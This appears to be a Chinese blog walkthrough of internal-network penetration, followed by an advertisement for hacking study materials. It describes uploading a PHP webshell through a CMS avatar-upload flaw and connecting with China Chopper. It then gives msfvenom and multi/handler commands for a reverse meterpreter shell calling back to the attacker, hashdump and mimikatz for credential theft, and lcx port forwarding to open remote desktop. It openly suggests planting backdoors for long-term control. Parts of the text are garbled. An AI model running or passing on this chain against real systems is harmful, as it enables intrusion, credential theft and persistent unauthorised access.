行业解决方案-渗透内网漏洞扫描-零基础信息安全自学路线

行业解决方案-渗透内网漏洞扫描-零基础信息安全自学路线

不同的操作系统可能存在版本漏洞、中间件漏洞、组件漏洞、端口服务漏洞等，在渗透测试的过程中可以通过信息收集来获取思路。

内网渗透思路

本次内网渗透的思路为：通过信息收集对网站进行分析，通过攻击外网服务器，从而获取外网服务器的权限，然后利用入侵成功的外网服务器作为跳板来攻击内网其他服务器，最后获得敏感数据（系统密码等），看情况安装后门木马或者后门软件，实现长期控制和获得敏感数据的方式。

还有一种内网渗透的思路为：通过社工等方法攻击企业办公网的电脑、办公网无线等，实现控制办公电脑，再用获得的办公网数据。

渗透过程详解

本次渗透过程将分为—->—->提权

访问某网站，该网站利用的是 v5系统建站，创建一个新的用户进行测试。

初步判断该网页模板为 v5建站系统，然后注册一个新的用户，方便我们利用 v5系统的文件上传漏洞

参考链接：blog.csdn.net/…

文件上传漏洞在会员头像处，所以先注册一个账号然后登录后上传我们的一句话木马

最开始的文件格式是0x0.png

通过burp代理拦截将tx后面的image/png换成image/php即可

输入参数v=();验证成功

验证上传成功后，打开菜刀软件输入上传的网站路径和参数（一句话木马的密码），可以连接服务器

在菜刀软件上可以进行数据库的提权，如mof提权、udf提权、启动项提权等

编写免杀木马

通过连接目标服务器，但是访问的数据有限，仅仅是站点的系统账户权限，访问的系统路径也有限，于是我们可以编写免杀木马来进行反弹shell木马su.exe

Msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4444 -f exe >/root/Desktop/su.exe

利用刚刚连接菜刀的操作，在文件管理中上传我们需要的工具

进入攻击模块，配置参数

use exploit/multi/handlerSet payload/windows/x64/meterpreter/reverse_tcpSet lport 4444Set lhost 192.168.10.130run

可以利用菜刀的虚拟终端模拟服务器点击免杀木马的操作，让木马生效

run执行监听

获取密码过程

hashdumpload mimikatzkerberos

注：如果的远程桌面操作是不允许连接到这台计算机，那么开启端口转发也是没用的

开启远程桌面

思路一：利用模块执行远程连接

然后开启端口转发，-l（本地端口）-p（远程控制端口）-r（目标主机）

靶机3389端口转发发送到本地的5555端口

-u 用户名 -p 密码 127.0.0.1：5555 连接本地的5555端口开启远程桌面

利用开启远程桌面，需要利用lcx工具，现在shell模式下输入指令

靶机执行lcx.exe -slave 192.168.10.20 5555 192.168.10.10 3389

思路二：利用lcx工具执行远程连接

攻击机执行lcx.exe. - 5555 33891，接着打开mstsc连接127.0.0.1 ：33891

以下为连接成功和监听数据的发送

总结

不同的操作系统可能存在版本漏洞、中间件漏洞、组件漏洞、端口服务漏洞等，在渗透测试的过程中可以通过信息收集来获取思路。

网络安全学习路线图（思维导图）

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能，然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料，我都打包整理好了，需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客，零基础资料整理来啦~~~

~